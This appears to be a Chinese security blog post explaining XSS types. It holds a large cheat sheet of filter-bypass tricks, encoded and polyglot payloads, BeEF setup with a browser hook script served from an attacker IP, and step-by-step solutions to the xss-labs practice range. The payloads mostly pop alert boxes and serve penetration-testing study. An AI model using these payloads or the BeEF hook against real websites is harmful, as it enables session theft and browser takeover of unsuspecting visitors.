简介

跨站脚本攻击(Cross Site Script)为了避免与层叠样式表CSS混淆,故称XSS。XSS是指攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而将一些代码嵌入到web页面中去,使得别的用户访问也好执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某些动作或对访问者进行病毒侵害等攻击。反射型和存储型XSS的作用一样,只是用户触发形式不同。

类型

  • 反射型:反射型XSS攻击,又称为非持久型跨站脚本攻击,它是最常见的XSS类型。漏洞产生的原因是攻击者注入的数据反映在响应上,一个典型的非持久型XSS包含一个带XSS攻击向量的链接,即每次攻击需要用户点击。
  • 存储型:存储型XSS又称为持久型跨站点脚本,持久型XSS相比非持久型XSS攻击危害更大。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。
  • DOM型:从效果上来说也是反射型XSS,其通过修改页面DOM节点而形成XSS。
XSS类型存储型反射型DOM型
数据存储数据库URLURL
输出位置HTTP响应中HTTP响应中动态构造的DOM节点
  • 区别:DOM型XSS代码只由前端的JS处理,然后直接输出到页面,不经过后端处理。而反射型XSS则会经过后端处理后才输出

绕过

  • 大小写绕过
<sCrIpt>alert(1)</ScRipt>
  • 双写绕过
<scrSCRIPTipt>alert(1)</scrSCRIPTipt>
"" oncliconclickk="alert(1)"
  • 绕过标签黑名单
<script x>
<script x>alert('XSS')<script y>
  • javascript绕过
javas%09cript:alert()
javas%0acript:alert()
javas%0dcript:alert()
  • 字符实体
< &lt;
> &gt;
= &equals;
( &lpar;
) &rpar;
  • 绕过magic_quotes_gpc:针对开启了魔术引号的网站,可通过String.fromCharCode方法将ASCII转换为字符串
# 利用String.fromCharCode方法将 alert("XSS"); 转换为
<script>
    String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41,59)
</script>
  • 绕过字符串的括号:
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
  • 绕过括号和分号
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>

  • 绕过空格:使用/绕过
<img/src='1'/onerror=alert(0)>
%0a       替换空格
%0d       替换空格
/**/      替换空格

    
  • 使用其他方式执行alert
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);

prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'

eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();

  • 使用其他字符绕过;
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';

编码

  • URL编码
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E
  • HTML编码
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">xss弹窗</a>
  • 八进制编码
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()

Payload

Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)

HTML5
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

<body ontouchstart=alert(1)> // 当手指触摸屏幕时触发
<body ontouchend=alert(1)>   // 当手指从屏幕中移走时触发
<body ontouchmove=alert(1)>  // 当手指在屏幕中拖动时触发
    
万能XSS
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*

-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
    
    

工具

XSSOR

BeEF

BeEF(Browser Exploitation Framework)是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透测试;BeEF基于Ruby语言编写,支持图形化界面,操作简单。
  • 启动Apache和BeEF

    # 启动Apache
    # systemctl restart apache2
    $ service apache2 start 
    $ netstat -an | grep :80    # 查看80端口
    
    >> tcp6       0      0 :::80                   :::*                    LISTEN   
    
    # BeEF可以在Kali中点击打开,账号密码均为beef
    
    # 访问页面
    [*]  Web UI: http://127.0.0.1:3000/ui/panel
    # 内置脚本
    [*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
    [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
    
    
  • 攻击:Current Browser > Commands

    命令颜色:
    绿色 对目标主机生效且不可见(不会被发现)
    橙色 对目标主机生效但可能可见(可能会被发现)
    灰色 对目标主机未必生效(可自行验证)
    红色 对目标主机不生效
    

靶场

总结

  • 对尖括号进行闭合:标签内事件进行触发弹窗
onclick='alert()'      # 单击触发
ondblclick='alert()'   # 双击触发
onmousemove='alert()'  # 鼠标移入触发
onfocus='alert(1)'     # 聚焦触发
oninput='alert()'      # 输入触发

# 按键触发
onkeydown='alert()'
onkeyup='alert()'
onkeypress='alert()‘
  • 过滤判断
#'
#"
(#)
<#>
<sCrIpt>
<oNerOr>
#:
alert
hReF
jaVaScript
  • 过滤javascript:使用JS变换绕过,这里必须在浏览器直接执行(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)
?keyword=javas%09cript:alert()
?keyword=javas%0acript:alert()
?keyword=javas%0dcript:alert()

level 1

  • URL中在name后插入Payload
?name=</h2><script>alert(1)</script>

level 2

  • 先使用双引号"闭合字符串,再使用</h2>闭合标签,最后插入Payload
123"</h2><script>alert(1)</script>

level 3

  • 尝试输入单双引号、括号等,发现输入单引号时上面的h2会把输入的字符全部输出,而下面输入框却不会。如输入以下字符,h2标签会输出123'111,而输入框只剩下123
123'111
  • 所以此题输出点不在前面的h2标签,而是在输入框input标签。插入Payload点击搜索,然后点击输入框
123' onclick='alert(1)

level 4

  • 和上一题差不多,只是此处换成了双引号"闭合。插入Payload后点击搜索,然后点击输入框
1" onclick="alert(1)

level 5 (javascript协议)

  • 和上一题一样用双引号绕过,但是过滤了onclick,onmousemove等常见事件,主要是把on替换成了o_n<script>替换成<scr_ipt>。这里使用a标签触发javascript,搜索后点击超链接
1"> <a href="javascript:alert(1)">

level 6 (大小写绕过)

  • 大小写过滤,搜索后点击超链接
" ><a HrEf=javascript:alert(1)>

level 7 (双写绕过)

  • 过滤了hrefscript,可以双写绕过
"><a hrhrefef="javascrscriptipt:alert(1)">

level 8 (HTML编码)

  • HTML编码绕过,添加链接后点击友情链接
<!-- 原语句 -->
javascript:alert(1)

<!-- 进行HTML编码 -->
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

level 9 (JS变换)

  • 经过多次测试,发现如下过滤:

    • 过滤javascript和双引号"变成&quot
    • 输入没有http://时报错
  • 直接http:当作弹框值,并使用单引号'包裹,但是没办法绕过javascript,最后从网上找到了过关的方式,使用JavaScript变换的办法绕过,这里必须在浏览器直接执行(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)
?keyword=javas%09cript:alert('http://')
?keyword=javas%0acript:alert('http://')
?keyword=javas%0dcript:alert('http://')

level 10 (隐藏表单)

  • 经过一系列尝试都无法弹窗,于是审查源码,发现有个隐藏的表单
<form id=search>
    <input name="t_link"  value="" type="hidden">
    <input name="t_history"  value="" type="hidden">
    <input name="t_sort"  value="" type="hidden">
</form>
  • 尝试在浏览器中访问各参数,发现只有传入t_sort参数时,对应的value值会变化
level10.php?t_link=111
level10.php?t_history=111
level10.php?t_sort=111
  • 这里一开始尝试使用autofocusonfocus自动聚焦触发,但是发现有时候不能触发,或者触发了后会一直弹框而不能正常跳转到下一关
level10.php?t_sort=" autofocus onfocus="alert(1);
  • 后来使用type属性将该输入框变成button,覆盖掉原有的hidden隐藏属性,并使用onclick事件触发。浏览器传入如下参数后点击按钮即可
level10.php?t_sort=" onclick=alert(1) type="button

level 11 (Referer)

  • 仍然可以传递t_sort,但是绕过双引号"无果后放弃,寻找其它注入点
  • 发现多了一个t_ref,通过URL传递参数无效,后来通过ModHeade插件,尝试在头部添加Referer,发现出现Value值

xss-labs-11

  • 构造Payload提交,点击按钮后通过
" onclick="alert(1)" type="button

level 12 (UA)

  • 这一题根据t_ua参数和上一题,可以推测出此处需要修改的是User-Agent,同样使用上面的插件和Payload,将Referer修改为User-Agent即可
" onclick="alert(1)" type="button

level 13 (Cookie)

  • 这题参数是t_cook,使用Burp修改Cookie即可,Payload如下:
" onclick="alert(1)" type="button

level 14 (Exif XSS)

  • 引入的网站需要某些科学上网软件才能访问。但是访问发现这个网站好像有点奇奇怪怪,随便点一个标签发现全是广告,放弃
  • 参考:https://xz.aliyun.com/t/1206#toc-12
  • 另外14关下方的连接跳转有点问题,可手动访问地址:/level15.php?src=1.gif

level 15 (Angular JS)

  • 参考:https://xz.aliyun.com/t/1206#toc-13
  • AngularJS的ng-include指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。
  • URL中传入以下参数,可以看到已经被包含进网页源码中
level15.php?src='level1.php?test=naraku'

xss-labs-15

  • 构造Pyaload
level15.php?src=‘level1.php?name=<img src=x onerror=alert(1)>’

level 16

  • 此题将空格和/都转换成了&nbsp;,使用前面说到的JS变换绕过
level16.php?keyword=<img%0asrc=x%0donerror=alert(1)>

level 17 (Flash XSS)

  • Chrome等浏览器需要打开Flash才能看到题目
  • 一开始以为是Flash XSS,但是在测试过滤时,发现直接用空格即可闭合src属性,然后手动添加事件即可。一开始使用onclick事件,但是点击后跳转到一个undefined页面,后使用onmouseover事件即可
  • Payload如下,访问后将鼠标移动到图片上即可弹框
level17.php?arg01=a&arg02=b onmouseover=alert(1)
  • 通关后不会自动跳到18关,需点击下方超链接

level 18

  • 同上一关一模一样的解法,有点迷惑
level18.php?arg01=a&arg02=b onmouseover=alert(1)

level 19-20 (Flash XSS)

参考

最后修改:2020 年 04 月 16 日 08 : 17 PM
如果觉得我的文章对你有帮助,请我吃颗糖吧~